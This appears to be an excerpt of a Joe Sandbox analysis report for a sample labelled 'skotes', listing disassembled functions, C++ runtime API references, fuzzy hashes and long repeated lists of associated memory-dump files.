Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 4facbdad208fea5b168ec1e67c44844674bfdcb3e67b9e8d15518865141c98ba
Instruction ID: 023cbef498ae9378120097a3d9942c68586dd3a85638507183efb36b070524d7
Opcode Fuzzy Hash: 4facbdad208fea5b168ec1e67c44844674bfdcb3e67b9e8d15518865141c98ba
Instruction Fuzzy Hash: 3F412975A00244DFCF05EF65C595AADB7B9FF48310F1480A9DD499B382DB70A941CB91

Function 00AD6E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00AD6ED1
std::_Rethrow_future_exception.LIBCPMT ref: 00AD6F22
std::_Rethrow_future_exception.LIBCPMT ref: 00AD6F32
__Mtx_unlock.LIBCPMT ref: 00AD6FD5
__Mtx_unlock.LIBCPMT ref: 00AD70DB
__Mtx_unlock.LIBCPMT ref: 00AD7116

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: fca94072fbc5433b85bf2797d31200df9d8cd9928065a1a60ab479dccec29abc
Instruction ID: e7bd68da457ecd6d181a30d6b42c5a1e2ad8ee873a4ccbdebd13a14d85c427db
Opcode Fuzzy Hash: fca94072fbc5433b85bf2797d31200df9d8cd9928065a1a60ab479dccec29abc
Instruction Fuzzy Hash: AFC1DF719047099BDF24DFA4C945BAEBBF4AF05310F004A6FE81797791EB35AA08CB61

Function 00AE44DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00AE4538
ListArray.LIBCONCRT ref: 00AE456C
Hash.LIBCMT ref: 00AE45D5
Hash.LIBCMT ref: 00AE45E5

Part of subcall function 00AE9C41: std::bad_exception::bad_exception.LIBCMT ref: 00AE9C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 00AE474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00AE47A4

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: d0ef69443bcc74a8f323b36aaba7b16b6ee06f2008ec731bfc0ae1b42bd4a3c7
Instruction ID: 4691c20b2c4005a7d57d79dae684bf984ca3d4abf05c41765a5a3e473dc343f6
Opcode Fuzzy Hash: d0ef69443bcc74a8f323b36aaba7b16b6ee06f2008ec731bfc0ae1b42bd4a3c7
Instruction Fuzzy Hash: 53816EB0A11B52BED708EF758945BDAFAACBF09700F10431BF52997281CBB4A520CBD1

Function 00ADEE5F Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00ADEEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 00ADEEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00ADEEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00ADEF0F
Concurrency::Context::Block.LIBCONCRT ref: 00ADEF31

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1182035702-0
Opcode ID: f2b01e52424f9f3d8f85c0eadeafffad48c09eb76fa96d1365d4a43235daea60
Instruction ID: 9dc6ea5116870558ee3bd7bd97e1527b8c8bee318ac2bb2e77b680bbc43fa2d8
Opcode Fuzzy Hash: f2b01e52424f9f3d8f85c0eadeafffad48c09eb76fa96d1365d4a43235daea60
Instruction Fuzzy Hash: 18216070C142459EDF28EFA4C9556EEBBF0BF14320F60092BE153AA3D1EBB14A84CB50

Function 00AF1B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00AF1B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AF1B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AF1C2A

Strings

pContext, xrefs: 00AF1C22
switchState, xrefs: 00AF1B5E

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: 37812f6a088942c2008b1ac261e63e88f9707333c8ef74b041d9164784fee50f
Instruction ID: 55a01ee87d87e4cb42cfb11ed5155fded07485b7e6149d0a0754b7848e0a0b2d
Opcode Fuzzy Hash: 37812f6a088942c2008b1ac261e63e88f9707333c8ef74b041d9164784fee50f
Instruction Fuzzy Hash: 0E31A435A00218DBCF14EFA4C9819BDB7B5AF54324F208565FA11A7291EB70ED02CA90

Function 00AF727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00AF72BE

Strings

.exe, xrefs: 00AF72CB
.cmd, xrefs: 00AF72DC
.bat, xrefs: 00AF72ED
.com, xrefs: 00AF72FE

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
